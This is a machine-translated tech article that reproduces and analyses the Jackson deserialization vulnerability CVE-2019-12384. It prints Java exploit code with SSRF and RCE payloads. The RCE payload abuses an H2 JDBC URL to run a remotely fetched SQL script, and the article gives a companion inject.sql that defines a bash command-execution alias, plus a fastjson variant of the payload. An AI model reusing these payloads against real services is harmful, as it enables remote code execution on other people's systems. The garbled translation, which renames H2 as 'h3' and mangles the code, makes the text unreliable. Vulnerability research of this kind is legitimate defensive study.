Shulou(Shulou.com)05/31 Report--

This article introduces how to achieve CVE-2019-12384 loophole analysis and reproduction, the content is very detailed, interested friends can refer to, hope to be helpful to you.

Introduction

Recently, the RCE vulnerability CVE-2019-12384 of Jackson has been exposed. Regarding the recurrence and dependence of the vulnerability, it has been given here that the environment in which the author uses java has been reproduced. It is right to act as an interpreter for you, and it will also make the brothers who reproduce the loophole on java take fewer detours.

Environmental preparation

The weakness of this vulnerability is that it relies on a large number of third-party jar packages. In addition to jackson's own jar package, logback-core and h3 are also required. The specific pom configuration is as follows:

Com.fasterxml.jackson.core

Jackson-databind

2.9.8

Ch.qos.logback

Logback-core

1.3.0-alpha4

Com.h3database

H3

1.4.199

Test

Com.h3database

H3

1.4.199

Compile

Loophole recurrence

Foreign bosses use the vulnerability exploitation environment implemented by ruby. In order to facilitate the debug of idea, I simply use java to reproduce. I also noted the specific details in the code. Just look at the comments.

JackonSerial.javaimport com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.SerializationFeature;import org.h3.Driver;public class JackonSerial {public static void main (String [] args) throws Exception {/ / you must instantiate Driver or you will error Class.forName ("org.h3.Driver") .newInstance (); System.out.println ("Mapping") / / the payload is used to reproduce SSRF String jsonStr1 = "[\" ch.qos.logback.core.db.DriverManagerConnectionSource\ ", {\" url\ ":\" jdbc:h3:tcp://127.0.0.1:8005/~/test\ "}]" / / the payload is used to reproduce RCE String jsonStr2 = "[\" ch.qos.logback.core.db.DriverManagerConnectionSource\ ", {\" url\ ":\" jdbc:h3:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]"; ObjectMapper mapper = new ObjectMapper (); mapper.enableDefaultTyping (); mapper.configure (SerializationFeature.FAIL_ON_EMPTY_BEANS, false)) System.out.println ("Serializing"); Object obj = mapper.readValue (jsonStr1, java.lang.Object.class) System.out.println ("objectified"); System.out.println ("stringified:" + mapper.writeValueAsString (obj));} inject.sqlCREATE ALIASSHELLEXEC AS $$String shellexec (String cmd) throws java.io.IOException {String [] command = {"bash", "- c", cmd} Java.util.Scanner s = new java.util.Scanner (Runtime.getRuntime (). Exec (command). GetInputStream ()) .useDelimiter ("\ A"); return s.hasNext ()? S.next (): "";} $$; CALL SHELLEXEC ('open/Applications/Calculator.app/')

Use the first payload to implement the effect diagram of SSRF.

Use the second payload to implement the effect diagram of RCE.

Loophole analysis

Take a look at the SSRF vulnerability call stack first.

When serializing, Jackson iteratively calls every get method of the class to which the serialized object belongs. When calling the getConnection () method, it calls DriverManager again to link to the remote database, which is the reason for SSRF.

Public Connection getConnection () throws SQLException {

Return this.getUser () = = null? DriverManager.getConnection (this.url): DriverManager.getConnection (this.url, this.getUser (), this.getPassword ())

}

Let's talk about RCE.

First introduce jdbc:h3:mem: this writing is used for h3 operating memory tables, and can execute sql statements in memory, and then through RUNSCRIPT FROM 'http://localhost/inject.sql' to execute remotely obtained sql files, of course, here to directly execute local statements to cause command execution is also possible.

Because these executions are all in local memory, and the local code is java, which is a function that only needs to write a java code in sql and is called through CALL, the key call stack that causes the java code to be executed in the local application, resulting in RCE,RCE, is as follows:

Summary

1. There are two special points in exploiting this loophole:

First, it needs to rely on two jar to create rce vulnerabilities.

Second, note that the trigger of this vulnerability is triggered when a malicious object is serialized, and jackjson is mostly used in web to handle deserialization of json data passed in from the front end.

2. The same routine can also cause RCE in fastjson, but use the same chicken ribs.

Demoimport com.alibaba.fastjson.JSON

Import com.alibaba.fastjson.JSONObject

Import com.alibaba.fastjson.parser.ParserConfig

Public class FastJsonTest {

Public static void main (String [] args) {

ParserConfig.getGlobalInstance () setAutoTypeSupport (true)

String payload = "{\" @ type\ ":\" ch.qos.logback.core.db.DriverManagerConnectionSource\ ",\" url\ ":\" jdbc:h3:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}";

JSONObject json = JSON.parseObject (payload)

Json.toJSONString ()

}

}

On how to achieve CVE-2019-12384 vulnerability analysis and reproduction to share here, I hope that the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.